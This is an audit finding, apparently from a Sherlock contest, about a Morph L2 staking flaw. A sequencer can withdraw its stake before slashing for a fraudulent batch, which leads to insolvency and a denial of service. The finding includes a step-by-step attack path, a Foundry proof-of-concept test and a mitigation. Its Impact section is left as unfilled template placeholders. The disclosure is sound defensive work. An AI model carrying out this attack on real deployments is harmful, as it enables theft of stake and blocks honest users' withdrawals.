Shambolic Banana Barbel

High

# Sequencer can avoid being slashed for invalid batch

### Summary

The config ranges for `withdrawalLockBlocks` and `proofWindow` are such that a sequencer may have the ability to withdraw their funds before being slashed, which can lead to insolvency for `L1Staking.sol` and a DOS of all future withdrawal claims.

### Root Cause

In `L1Staking.sol`, we have a `withdrawalLockBlocks` variable, which represents how long after a sequencer has exited that they are able to claim their funds. In the [config](https://docs.google.com/spreadsheets/d/1KDQ8LkB53yw7f0m8a0LCTIdyiANjKyqC-sKUQEQGSf8/edit?gid=0#gid=0), it is specified that this value should be in the range `> 2 * finalize time`.

In `Rollup.sol`, we have a `finalizationPeriodSeconds` value (how long until an unchallenged block is finalized) and a `proofWindow` value (how long after the start time a proof can be submitted). The default values are 1 day for finalization period, and 2 days for proof window.

These values do not have a guarantee that `proofWindow` will always be sufficiently longer than `withdrawalLockBlocks`, which is required to ensure that there will never be a situation when a sequencer can withdraw their funds before being slashed.

For example, if `withdrawLockBlocks ~= 2 * finalize time`, if a sequencer submits an invalid proof and immediately withdraws, their funds will be available to claim in 2 days, while the proof window will also be 2 days.

If they are able to withdraw their funds first, they will receive their full stake back. Then, when `proveState()` is called to slash them, we call the following (where sequencerBitmap is the bitmap of their position in the `stakingSet` array):
```solidity
uint256 reward = IL1Staking(l1StakingContract).slash(sequencersBitmap);
```
On the `L1Staking` contract, [we perform the following](https://github.com/sherlock-audit/2024-08-morphl2/blob/main/morph/contracts/contracts/l1/staking/L1Staking.sol#L217-L246):
```solidity
function slash(uint256 sequencersBitmap) external onlyRollupContract nonReentrant returns (uint256) {
    address[] memory sequencers = getStakersFromBitmap(sequencersBitmap);

    uint256 valueSum;
    for (uint256 i = 0; i < sequencers.length; i++) {
        if (withdrawals[sequencers[i]] > 0) {
            delete withdrawals[sequencers[i]];
            valueSum += stakingValue;
        } else if (!isStakerInDeleteList(sequencers[i])) {
            // If it is the first time to be slashed
            valueSum += stakingValue;
            _removeStaker(sequencers[i]);
            // remove from whitelist
            delete whitelist[sequencers[i]];
            removedList[sequencers[i]] = true;
        }
    }

    uint256 reward = (valueSum * rewardPercentage) / 100;
    slashRemaining += valueSum - reward;
    _transfer(rollupContract, reward);

    emit Slashed(sequencers);
    emit StakersRemoved(sequencers);

    // send message to remove stakers on l2
    _msgRemoveStakers(sequencers);

    return reward;
}
```
If another staker has replaced the withdrawn staker, then their address will be returned from `getStakersFromBitmap` and this honest staker will be forcibly removed and lose their stake.

If no other staker has replaced the withdrawn staker (the more likely scenario), `address(0)` will be returned. In `_removeStaker()`, this will add `address(0)` to the `deleteList`, which will later DOS in `_cleanStakerStore()` when we try to calculate `stakerIndexes[deleteList[i]] - 1`:

```solidity
function _cleanStakerStore() internal {
    uint256 i = 0;
    while (i < deleteList.length) {
        if (deleteableHeight[deleteList[i]] <= block.number) {
            // clean stakerSet
            delete stakerSet[stakerIndexes[deleteList[i]] - 1];
            delete stakerIndexes[deleteList[i]];

            // clean staker info
            delete stakers[deleteList[i]];

            // clean deleteList
            delete deleteableHeight[deleteList[i]];
            // @ok this will skip some, because they'll be moved to i and never checked
            // - nvm, it doesn't increment i unless it's lower
            deleteList[i] = deleteList[deleteList.length - 1];
            deleteList.pop();
        } else {
            i++;
        }
    }
}
```

### Internal Preconditions

1. `withdrawlBlocksLocked` must be less than, equal to, or just slightly more than `proofWindow`.

### External Preconditions

None

### Attack Path

1. Sequencer calls `commitBatch()` with a fraudulent batch.
2. They immediately call `l1Staking.withdraw()` to start the withdrawal process.
3. They are challenged.
4. As soon as the withdrawal process is over, they withdraw their funds.
5. When the challenge period ends, they are no longer there to be slashed. Instead, either an innocent user is slashed, or `address(0)` is added to the delete list in a way that DOS's all future withdrawal claims.

### Impact

The {affected party} suffers an approximate loss of {value}. [The attacker gains {gain} or loses {loss}].

### PoC

The following test can be added to `L1Staking.t.sol` to demonstrate the attack:
```solidity
function testPapa_withdrawBeforeSlash() external {
    // set up the values in ranges in config
    // withdrawalLockBlocks already set to 3 blocks = 36 seconds, base values around that
    hevm.startPrank(multisig);
    rollup.updateProofWindow(36);
    rollup.updateFinalizePeriodSeconds(18);
    assert(l1Staking.withdrawalLockBlocks() * 12 >= rollup.finalizationPeriodSeconds());
    hevm.deal(address(l1Staking), STAKING_VALUE);

    // add alice to whitelist
    address[] memory add = new address[](1);
    add[0] = alice;
    l1Staking.updateWhitelist(add, new address[](0));

    // alice register
    Types.StakerInfo memory aliceInfo = ffi.generateStakerInfo(alice);
    hevm.deal(alice, STAKING_VALUE);
    hevm.startPrank(alice);
    l1Staking.register{value: STAKING_VALUE}(aliceInfo.tmKey, aliceInfo.blsKey);

    // let's save alice's bitmap for future use
    uint aliceBitmap = l1Staking.getStakerBitmap(alice);

    // now alice proposes an invalid batch, which will get her slashed in proofWindow
    l1Staking.withdraw();

    // her invalid batch can be challenged at start time + proof window, but let's say 1 extra block passes
    uint blocksPassed = (rollup.proofWindow() / 12) + 1;
    uint challengeTime = block.timestamp + blocksPassed * 12;
    uint challengeBlock = block.number + blocksPassed;
    hevm.warp(challengeTime);
    hevm.roll(challengeBlock);

    // the balance of the contract at this point is solvent (2 ETH)
    assertEq(address(l1Staking).balance, 2 * STAKING_VALUE);

    // as soon as it can be challenged, alice can get out
    // this claims back her 1 ETH
    l1Staking.claimWithdrawal(alice);
    hevm.stopPrank();

    // right after, she is slashed, this claims another ETH
    hevm.prank(l1Staking.rollupContract());
    l1Staking.slash(aliceBitmap);

    // now we've given up more than STAKING_VALUE (exact amount depends on reward)
    assertLt(address(l1Staking).balance, STAKING_VALUE);

    // even worse, we are now DOS'd from claimWithdrawal because
    // cleanStakingStore will fail once we try to clean out address(0)
    hevm.roll(block.number + l1Staking.withdrawalLockBlocks() + 1);
    hevm.prank(multisig);
    hevm.expectRevert(stdError.arithmeticError);
    l1Staking.cleanStakerStore();
}
```

### Mitigation

Ensure that `withdrawalLockBlocks` is always greater than `proofWindow` plus some buffer, rather than `2 * finalizationPeriodSeconds`.